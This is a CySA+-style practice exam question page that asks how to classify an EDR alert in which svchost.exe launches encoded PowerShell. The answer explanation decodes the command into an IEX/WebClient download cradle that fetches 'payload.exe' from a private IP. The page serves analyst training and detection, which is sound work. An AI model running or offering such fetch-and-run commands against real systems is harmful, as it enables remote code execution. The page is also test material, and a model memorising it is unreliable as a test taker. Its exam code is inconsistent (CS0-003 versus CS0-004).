CS0-003 Security Operations Practice Question
An EDR agent reports that the process 'svchost.exe' spawned 'powershell.exe' with the command line: 'powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAwAC8AcABhAHkAbABvAGEAZAAuAGUAeABlACcAKQA='. Which of the following is the most appropriate classification for this activity?
Answer choices
Why each option matters
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
True positive - likely malicious activity using a LOLBin
The encoded command decodes to 'IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.10/payload.exe')', which is a download cradle. Svchost.exe spawning PowerShell with such a command is highly suspicious and indicative of a true positive.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
- ✗
True positive - but only if the IP is confirmed malicious
Why it's wrong here
The process lineage anomaly of svchost.exe spawning powershell.exe is highly suspicious on its own, regardless of external network indicators. Relying solely on IP reputation to classify this event would result in a dangerous false negative, as attackers frequently use newly registered domains or compromised legitimate infrastructure that lacks a malicious reputation.
- ✗
False positive - encoded commands are used by system administrators
Why it's wrong here
Although system administrators occasionally utilize Base64-encoded PowerShell commands for legitimate automation, they do not execute them via svchost.exe. The execution of administrative scripts through a system service host process indicates an exploitation technique, such as service manipulation or process injection, rather than standard administrative activity.
- ✗
False positive - svchost.exe commonly launches PowerShell for legitimate tasks
Why it's wrong here
This statement is factually incorrect because svchost.exe is a generic host process for Windows services and does not natively spawn interactive command shells or PowerShell instances. When svchost.exe acts as a parent process to powershell.exe, it typically signifies that a service has been compromised or hijacked to execute arbitrary code.
- ✓
True positive - likely malicious activity using a LOLBin
Why this is correct
This is a true positive because the execution represents a classic Living off the Land (LotL) attack where a legitimate system binary (powershell.exe) is leveraged to bypass security controls. The parent-child relationship of svchost.exe spawning PowerShell with encoded arguments is a highly reliable indicator of compromise (IoC) pointing to privilege escalation or lateral movement.
Go deeper
Related to this question
Learn chapter
Incident Response Process
Key term
EDR
Endpoint Detection and Response (EDR) is a cybersecurity technology that continuously monitors endpoint devices to detect, investigate, and respond to advanced threats.
Key term
True positive
A true positive is when a security tool correctly identifies a real threat or malicious activity.
About these practice questions
Courseiva writes every CS0-004 question from scratch — 701 in total, each with an explanation and a wrong-answer breakdown. None are copied from real exams or dumps. Learn why practice questions differ from exam dumps →
JA
Written by Johnson Ajibi, MSc IT Security
Senior Network & Security Engineer · founder of Courseiva
This CS0-004 practice question is part of Courseiva's free CompTIA certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CS0-004 exam.